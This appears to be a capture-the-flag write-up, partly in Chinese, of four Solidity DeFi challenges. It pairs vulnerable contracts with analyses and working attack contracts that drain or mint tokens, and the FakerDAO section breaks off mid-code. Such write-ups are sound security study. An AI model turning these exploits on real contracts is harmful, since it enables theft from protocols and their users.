1.May The Force Be With You

Request

A long time ago in a galaxy far, far away… a new DAO was created. Can you steal all the YODA tokens belonging to MayTheForceBeWithYou contract?

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract MayTheForceBeWithYou is ERC20, ReentrancyGuard {
using SafeMath for uint256;
MiniMeToken public yoda;

event Withdraw(address indexed beneficiary, uint256 amount);
event Deposit(address indexed beneficiary, uint256 amount);

// Define the Yoda token contract
constructor(address _underlying) ERC20("xYODA", "xYODA") public {
yoda = MiniMeToken(_underlying);
}

function deposit(uint256 amount) external nonReentrant {
// Gets the amount of YODA locked in the contract
uint256 totalYoda = yoda.balanceOf(address(this));
// Gets the amount of xYODA in existence
uint256 totalShares = totalSupply();
// If no xYODA exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totalYoda == 0) {
_mint(msg.sender, amount);
}
// Calculate and mint the amount of xYODA the YODA is worth. The ratio will change overtime, as xYODA is burned/minted and YODA deposited + gained from fees / withdrawn.
else {
uint256 what = amount.mul(totalShares).div(totalYoda);
_mint(msg.sender, what);
}
// Lock the YODA in the contract
yoda.transferFrom(msg.sender, address(this), amount);

emit Deposit(msg.sender, amount);
}

function withdraw(uint256 numberOfShares) external nonReentrant {
// Gets the amount of xYODA in existence
uint256 totalShares = totalSupply();
// Calculates the amount of YODA the xYODA is worth
uint256 what =
numberOfShares.mul(yoda.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, numberOfShares);
yoda.transfer(msg.sender, what);

emit Withdraw(msg.sender, what);
}
}

contract MiniMeToken is Ownable {
using SafeMath for uint256;

string public name;
uint8 public decimals;
string public symbol;

mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 totalSupply;

constructor(
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) public
{
name = _tokenName; // Set the name
decimals = _decimalUnits; // Set the decimals
symbol = _tokenSymbol; // Set the symbol
}


function transfer(address _to, uint256 _amount) public returns (bool success) {
return doTransfer(msg.sender, _to, _amount);
}


function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
return doTransfer(_from, _to, _amount);
}


function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
if (balances[_from] < _amount) {
return false;
}

// First update the balance array with the new value for the address
// sending the tokens
balances[_from] = balances[_from] - _amount;
// Then update the balance array with the new value for the address
// receiving the tokens

require(balances[_to] + _amount >= balances[_to]); // Check for overflow
balances[_to] = balances[_to] + _amount;
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}


function approve(address _spender, uint256 _amount) public returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));

allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}

function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}

function mint(address _owner, uint256 _amount) public onlyOwner {
balances[_owner] = _amount;
totalSupply += _amount;
}

event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}

Analyse

这一题的主要漏洞在于transferFrom

1
2
3
4
5
6
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
return doTransfer(_from, _to, _amount);
}

transferFrom不会回退只会return false,因此在deposit中,无需转账就可以铸造代币了

2.DiscoLP

Request

DiscoLP is a brand new liquidity mining protocol! You can participate by depositing some JIMBO or JAMBO tokens. All liquidity will be supplied to JIMBO-JAMBO Uniswap pair. By providing liquidity with us you will get DISCO tokens in return!

You have 1 JIMBO and 1 JAMBO, can you get at least 100 DISCO tokens?

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
pragma solidity >=0.6.5;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Babylonian.sol";

contract DiscoLP is ERC20, Ownable, ReentrancyGuard
{
using SafeERC20 for IERC20;

address public immutable reserveToken;

constructor (string memory _name, string memory _symbol, uint8 _decimals, address _reserveToken)
ERC20(_name, _symbol) public
{
_setupDecimals(_decimals);
assert(_reserveToken != address(0));
reserveToken = _reserveToken;
_mint(address(this), 100000 * 10 ** 18); // some inital supply
}

function calcCostFromShares(uint256 _shares) public view returns (uint256 _cost)
{
return _shares.mul(totalReserve()).div(totalSupply());
}

function totalReserve() public view returns (uint256 _totalReserve)
{
return IERC20(reserveToken).balanceOf(address(this));
}

// accepts only JIMBO or JAMBO tokens
function depositToken(address _token, uint256 _amount, uint256 _minShares) external nonReentrant
{
address _from = msg.sender;
uint256 _minCost = calcCostFromShares(_minShares);
if (_amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
uint256 _cost = UniswapV2LiquidityPoolAbstraction._joinPool(reserveToken, _token, _amount, _minCost);
uint256 _shares = _cost.mul(totalSupply()).div(totalReserve().sub(_cost));
_mint(_from, _shares);
}
}

library UniswapV2LiquidityPoolAbstraction
{
using SafeMath for uint256;
using SafeERC20 for IERC20;

function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
address _otherToken = _token == _token0 ? _token1 : _token0;
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
_approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token;
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
_approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}

function _calcSwapOutputFromInput(uint256 _reserveAmount, uint256 _inputAmount) private pure returns (uint256)
{
return Babylonian.sqrt(_reserveAmount.mul(_inputAmount.mul(3988000).add(_reserveAmount.mul(3988009)))).sub(_reserveAmount.mul(1997)) / 1994;
}

function _approveFunds(address _token, address _to, uint256 _amount) internal
{
uint256 _allowance = IERC20(_token).allowance(address(this), _to);
if (_allowance > _amount) {
IERC20(_token).safeDecreaseAllowance(_to, _allowance - _amount);
}
else
if (_allowance < _amount) {
IERC20(_token).safeIncreaseAllowance(_to, _amount - _allowance);
}
}
}

library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

interface Router01
{
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

interface Router02 is Router01
{
}

interface PoolToken is IERC20
{
}

interface Pair is PoolToken
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}

Anaylse

题目涉及流动性挖矿:对流动性挖矿的解释

JIMBO:tokenA:1

JAMBO:tokenB:1

一个代币表示1*10**18

题目就是通过流动性挖矿产生disco token的收益,但是题目中的pair对不用一定是tokenA,B可以是tokenA与其他的自己创建的tokenC,因此tokenC的代币是自定义的。通过tokenA与tokenC或者tokenB与tokenC可以挖出超过100的DISCO流动性。因此漏洞在于调用depositeToken时没有检查传入的_token是否合法,从而造成了漏洞

Attack

Step

  1. step1:new MYERC20
  2. step2:createpair(MYERC20,tokenA)
  3. step3:Router.addLiquidity
  4. step4:depositToken
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

interface Pair
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}

interface DiscoLP is IERC20 {
function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
function calcCostFromShares(uint256 _shares) external view returns (uint256);
function totalReserve() external view returns (uint256);
}

library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

contract Token is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256 - 1);
}
}
contract attack{
DiscoLP public target;
Token myerc;
constructor(address addr){
target=DiscoLP(addr);
}
function Atta(address tokenA)external{
myerc=new Token("jjk","jk");
myerc.approve($.UniswapV2_FACTORY,2**256 - 1);
myerc.approve($.UniswapV2_ROUTER02,2**256 - 1);
IERC20(tokenA).approve($.UniswapV2_ROUTER02,2**256 - 1);
address pair=IUniswapV2Factory($.UniswapV2_FACTORY).createPair(address(myerc),tokenA);
IUniswapV2Router($.UniswapV2_ROUTER02).addLiquidity(address(myerc),tokenA,10000000*10**18,1*10**18,1,1,address(this),9999999999999999999);
target.depositToken(address(myerc),10000000*10**18,100*10**18);

}
}

3.P2PSwapper

Request

P2PSwapper is a super convenient zero-trust P2P DEX for any assets! The fee is flat so the whales are welcome! Also, we have a referral program, and all the fees are equally distributed between us and the lead owners.

We’ve created a sample trade and deposited some money for it. We wanna make sure you cannot withdraw the fees assigned for our trade.

You have to drain all the WETH tokens from the P2PSwapper’s balance.

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
pragma solidity ^0.6.0;

// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}

function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}

function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}

function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}


library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); }
function sub(uint a, uint b) internal pure returns (uint c) { require(a >= b); c = a - b; }
function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); }
function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; }
}


contract P2P_WETH {
using SafeMath for uint;
string public name = "P2P SwapWrapped Ether";
string public symbol = "P2PETH";
uint8 public decimals = 18;

event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);

mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;

receive() payable external {
deposit();
}

function deposit() public payable {
balanceOf[msg.sender] = balanceOf[msg.sender].add(msg.value);
emit Deposit(msg.sender, msg.value);
}

function withdraw(
uint wad
) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad);
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}

function totalSupply() public view returns (uint) {
return address(this).balance;
}

function approve(
address guy,
uint wad
) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}

function transfer(
address dst,
uint wad
) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}

function transferFrom(
address src,
address dst,
uint wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(2 ** 256-1 )) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] = balanceOf[src].sub(wad);
balanceOf[dst] = balanceOf[dst].add(wad);
emit Transfer(src, dst, wad);
return true;
}
}

interface IP2P_WETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
function balanceOf(address) external returns (uint);
function approve(address,uint) external returns (bool);
}

contract P2PSwapper {
using SafeMath for uint;

struct Deal {
address initiator;
address bidToken;
uint bidPrice;
address askToken;
uint askAmount;
uint status;
}

enum DealState {
Active,
Succeeded,
Canceled,
Withdrawn
}

event NewUser(address user, uint id, uint partnerId);
event WithdrawFees(address partner, uint userId, uint amount);
event NewDeal(address bidToken, uint bidPrice, address askToken, uint askAmount, uint dealId);
event TakeDeal(uint dealId, address bidder);
event CancelDeal(uint dealId);

uint public dealCount;
mapping(uint => Deal) public deals;
mapping(address => uint[]) private _dealHistory;

uint public userCount;
mapping(uint => uint) public partnerFees;
mapping(address => uint) public distributedFees;
mapping(uint => uint) public partnerById;
mapping(address => uint) public userByAddress;
mapping(uint => address) public addressById;

IP2P_WETH public immutable p2pweth;

constructor(address weth) public {
p2pweth = IP2P_WETH(weth);

userByAddress[msg.sender] = 1;
addressById[1] = msg.sender;
partnerById[1] = 1;
}

bool private entered = false;
modifier nonReentrant() {
require(entered == false, 'P2PSwapper: re-entrancy detected!');
entered = true;
_;
entered = false;
}

function createDeal(
address bidToken,
uint bidPrice,
address askToken,
uint askAmount
) external payable returns (uint dealId) {
uint fee = msg.value;
require(fee > 31337, "P2PSwapper: fee too low");
p2pweth.deposit{value: msg.value}();
partnerFees[userByAddress[msg.sender]] = partnerFees[userByAddress[msg.sender]].add(fee.div(2));

TransferHelper.safeTransferFrom(bidToken, msg.sender, address(this), bidPrice);
dealId = _createDeal(bidToken, bidPrice, askToken, askAmount);
}

function takeDeal(
uint dealId
) external nonReentrant {
require(dealCount >= dealId && dealId > 0, "P2PSwapper: deal not found");

Deal storage deal = deals[dealId];
require(deal.status == 0, "P2PSwapper: deal not available");

TransferHelper.safeTransferFrom(deal.askToken, msg.sender, deal.initiator, deal.askAmount);
_takeDeal(dealId);
}

function cancelDeal(
uint dealId
) external nonReentrant {
require(dealCount >= dealId && dealId > 0, "P2PSwapper: deal not found");

Deal storage deal = deals[dealId];
require(deal.initiator == msg.sender, "P2PSwapper: access denied");

TransferHelper.safeTransfer(deal.bidToken, msg.sender, deal.bidPrice);

deal.status = 2;
emit CancelDeal(dealId);
}

function status(
uint dealId
) public view returns (DealState) {
require(dealCount >= dealId && dealId > 0, "P2PSwapper: deal not found");
Deal storage deal = deals[dealId];
if (deal.status == 1) {
return DealState.Succeeded;
} else if (deal.status == 2 || deal.status == 3) {
return DealState(deal.status);
} else {
return DealState.Active;
}
}

function dealHistory(
address user
) public view returns (uint[] memory) {
return _dealHistory[user];
}

function signup() public returns (uint) {
return signup(1);
}

function signup(uint partnerId) public returns (uint id) {
require(userByAddress[msg.sender] == 0, "P2PSwapper: user exists");
require(addressById[partnerId] != address(0), "P2PSwapper: partner not found");

id = ++userCount;
userByAddress[msg.sender] = id;
addressById[id] = msg.sender;
partnerById[id] = partnerId;

emit NewUser(msg.sender, id, partnerId);
}

function withdrawFees(address user) public nonReentrant returns (uint fees) {
uint userId = userByAddress[user];
require(partnerById[userId] == userByAddress[msg.sender], "P2PSwapper: user is not your referral");

fees = partnerFees[userId].sub(distributedFees[user]);
require(fees > 0, "P2PSwapper: no fees to distribute");

distributedFees[user] = distributedFees[user].add(fees);
p2pweth.withdraw(fees);
TransferHelper.safeTransferETH(msg.sender, fees);

emit WithdrawFees(msg.sender, userId, fees);
}

function _createDeal(
address bidToken,
uint bidPrice,
address askToken,
uint askAmount
) private returns (uint dealId) {
require(askToken != address(0), "P2PSwapper: invalid address");
require(bidPrice > 0, "P2PSwapper: invalid bid price");
require(askAmount > 0, "P2PSwapper: invalid ask amount");
dealId = ++dealCount;
Deal storage deal = deals[dealId];
deal.initiator = msg.sender;
deal.bidToken = bidToken;
deal.bidPrice = bidPrice;
deal.askToken = askToken;
deal.askAmount = askAmount;

_dealHistory[msg.sender].push(dealId);

emit NewDeal(bidToken, bidPrice, askToken, askAmount, dealId);
}

function _takeDeal(
uint dealId
) private {
Deal storage deal = deals[dealId];

TransferHelper.safeTransfer(deal.bidToken, msg.sender, deal.bidPrice);

deal.status = 1;
emit TakeDeal(dealId, msg.sender);
}

receive() external payable {
require(msg.sender == address(p2pweth), "P2PSwapper: transfer not allowed");
}
}

Analyse

根据题目可发现漏洞,题目漏洞主要在于未初始化引起的问题。当我们调用createDeal函数时,函数createDeal中未判断userByAddress[msg.sender]的合法性,因此可能导致零ID拥有partnerFees。这肯定是不合法的,然后因为零ID这个不合法参数拥有了partnerFees,因此合约就有了微小的漏洞了。我们继续寻找漏洞。我们想要窃取合约的fee,我们需要观察withdrawFees函数。我们发现函数withdrawFees中也未判断userByAddress[user]的合法性,因此也可出现零ID,而零ID也有partnerFees。同时userByAddress[msg.sender]也可能是不合法参数零ID,因此通过 require(partnerById[userId] == userByAddress[msg.sender], “P2PSwapper: user is not your referral”);我们就可以提取费用了。然后我们再用其他的未初始化的user参数,仍可以继续提取费用,那么我们就可以无限的提取费用了。

因此造成漏洞的原因在于未进行判断参数的合法性,以及未初始化的问题。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract Attack{
P2PSwapper P2P;
P2P_WETH weth;
constructor(address payable we,address payable _P2P)public payable{
require(msg.value==1 ether);
weth=P2P_WETH(we);
P2P=P2PSwapper(_P2P);
}
function start()public{//初始化Intance合约
weth.deposit{value:31338}();
weth.transfer(address(P2P),31338);
}
function attack()public{
weth.deposit{value:31338}();
weth.approve(address(P2P),31338);
P2P.createDeal{value:62676}(address(weth),1,address(weth),1);
P2P.withdrawFees(address(this));
P2P.withdrawFees(msg.sender);
}
fallback()external payable{}
function self()public{
selfdestruct(payable(msg.sender));
}

}

4.FakerDAO

Request

FakerDAO is the best lending protocol! Only at FakerDAO you can borrow a LAMBO if you provide enough collateral in LP tokens!

You have 5000 YIN and 5000 YANG, can you borrow 1 LAMBO?

//pair初始:amount0和amount1和_totalSupply都是1000000*10 **18

//我手中有5000 YIN and 5000 YANG

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";

contract FakerDAO is ERC20, ReentrancyGuard {

using SafeMath for uint256;

address public immutable pair;

constructor (address _pair) public ERC20("Lambo", "LAMBO") {
// _setupDecimals(0);
pair = _pair; // Uniswap YIN-YANG pair
}

function borrow(uint256 _amount) public nonReentrant {
uint256 _balance = Pair(pair).balanceOf(msg.sender);
uint256 _tokenPrice = price();
uint256 _depositRequired = _amount.mul(_tokenPrice);

require(_balance >= _depositRequired, "Not enough collateral");

// we get LP tokens
Pair(pair).transferFrom(msg.sender, address(this), _depositRequired);
// you get a LAMBO
_mint(msg.sender, _amount);
}

function price() public view returns (uint256) {
address token0 = Pair(pair).token0();
address token1 = Pair(pair).token1();
uint256 _reserve0 = IERC20(token0).balanceOf(pair);
uint256 _reserve1 = IERC20(token1).balanceOf(pair);
return (_reserve0 * _reserve1) / Pair(pair).totalSupply();
}
}

library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

interface PoolToken is IERC20
{
}

interface Pair is PoolToken
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
function swap(uint amount0Out, uint amount1Out, address addr,bytes memory data) external;
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

Analyse

题目要求我们获取一个LPtoken,所以我们应该borrow一个代币。我们就应该想办法让price()变小就可以了。在此之前我们需要获取一定的pair流动性。考虑如何把_reserve0 * _reserve1变小,我们知道swap的时候会和flashloan的功能相似,合约会先给用户转走用户需要的钱,然后回调用户合约。再进行判断k值是否变化。因此我们swap的时候k值会变化,然后我们在回调函数的时候可以进行borrow,然后再回复k值,从而完成攻击。

Attack

Step:

  1. step1:获得token0和token1地址
  2. step2:部署攻击合约
  3. step3:IERC20(token0).transfer(Attack,5000*10**18)
  4. step4:IERC20(token1).transfer(Attack,5000*10**18)
  5. step5:attack
  6. step6:toPlayer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

interface PoolToken is IERC20
{
}

interface Pair is PoolToken
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
function swap(uint amount0Out, uint amount1Out, address addr,bytes memory data) external;
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
